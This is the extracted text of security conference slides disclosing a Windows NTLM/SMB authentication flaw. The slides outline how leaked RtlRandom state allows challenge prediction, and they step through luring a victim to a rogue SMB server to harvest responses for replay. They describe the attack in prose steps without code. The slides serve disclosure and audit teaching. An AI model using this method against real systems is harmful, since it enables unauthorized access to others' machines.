SMB_NEGOTIATE_PROTOCOL_RESPONSE

Encryption Key: 752558B9B5C9DD79

Server Time: 009b19691c17cb01 KeQuerySystemTime()

KeQuerySystemTime()

.

..

Multiple calls to KeQuerySystemTime()



The attack: Loading dices

i.Set RtlRandom internal state to a known state
ii.Calculate possible challenges
iii.Collect possible responses
iv.Connect and use a valid response
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Challenge prediction attack 
[1/4]

a.Send a packet that triggers RtlRandom
b.Receive response and save received timestamp
c.Simulate the M-M store behaviour
d.loop to a. until the simulated M-M vector is complete
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Step 1 - Set RtlRandom internal state to a known state

Attacker Victim

0 0 0

0 0 0

0 0 0

Attacker simulated M-M vector Victim RtlRandom M-M vector

? ? ?

? ? ?

? ? ?
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Challenge prediction attack 
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Attacker simulated M-M vector

v0 v1 v2

v3 v4 v5

v6 v7 v8
unique({ 2 X       } ²)

Given an internal RtlRandom() state it is necessary to calculate every 
possible combination that can be generated by it
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Step 3 - Collect possible responses
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Attacker Victimb. Connects to attacker’s custom SMB server 

c Sends challenges pre-calculated in step 1 

 d. Sends responses

a. Sends email

Force the victim to connect to a specially crafted SMB server to 
collect all the generated responses encrypted/hashed with his 
credentials



Step 4 - Connect and use a valid response
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Challenge prediction attack 
[4/4]

Attacker Victimb. Returns one of the predicted challenges in step 2

c. Responds with a valid response collected in step 3 

 d. Authenticates Ok

a. Requests authentication

Performing only one authentication attempt, the attacker gains 
access to the victim using a valid response for the issued challenge
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Clearing up Misconceptions

‣ This is not related to SMBRelay
- This is a new vulnerability, different code, different issue, 
different patch
- MS08-068 does not address this vulnerability nor prevents 
attacks against the same machine

‣ Passive replay attacks are/were possible
- Outgoing NTLM auth connections don’t need to use 
NTLMSSP (/extended security)
- Windows NT4 vs current systems
- Legacy Systems, Samba, Third-party SMB Implementations
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Vulnerability Scope, Severity and Impact

‣ MS categorized the vuln as ‘Important’ and as an ‘Elevation 
of privilege’

‣ We discussed this with MS and accept their opinion..

‣ But we respectfully disagree... :)
- ‘Critical’ vulnerability that allows remote code execution
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Vulnerability Scope, Severity and Impact

‣ Affects all versions of  Windows!
- from NT4 to Windows 7, Server 2008, etc.

‣ It’s a 14-year old vulnerability in the Windows 
authentication mechanism! 

- might be a 17-year old vuln if NT3.51 is also affected (not 
confirmed, anyone has a copy we can borrow? :))

Think about it...  even passive replay attacks  have 
been possible against Windows NTLM authentication 
sessions!
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Vulnerability Scope, Severity and Impact

‣ There’s no fix for Windows NT4 Servers (not supported 
anymore by MS)

- Still around? (e.g.: big retailers)
- Passive replay attacks

‣ Appliances
- Old Windows versions and/or not patched.

‣Yes, these might also be vulnerable to other vulns.. but...
- Can deploy generic anti-exploitation protections and workarounds
- Passive replay attacks may look like normal traffic (IDS detection?)
- Active attacks may not be that easy to detect if challenges/responses are obtained from 
one machine and used on another 
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Vulnerability Scope, Severity and Impact

‣ Elevation of privilege?
- Leads to remote code execution!

- Is a buffer overflow allowing remote code execution an 
elevation of privilege vulnerability?..
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Conclusions

‣ Vulnerability leads to remote code execution

‣ Three different exploitation methods
‣ Passive replay
‣ Active replay
‣ Prediction of challenges

‣ Bits from the seed are leaked by the Server
➡ the internal state of the PRNG can be calculated
➡ future challenges can be predicted
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Conclusions

‣ PRNG != CSPRNG

‣Cryptographic code should be periodically reviewed

• Next time you audit code and see a call to 

*random*()...

✓ Don’ t jump to the next line! :) analyze!

• Next time you audit code and see a ‘seed’

✓ Carefully analyze how it is created

✓ Look for possible side-channel attacks
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Thank you!

‣ Emails:
- Hernan Ochoa: hernan@ampliasecurity.com
- Agustin Azubel: aazubel@ampliasecurity.com
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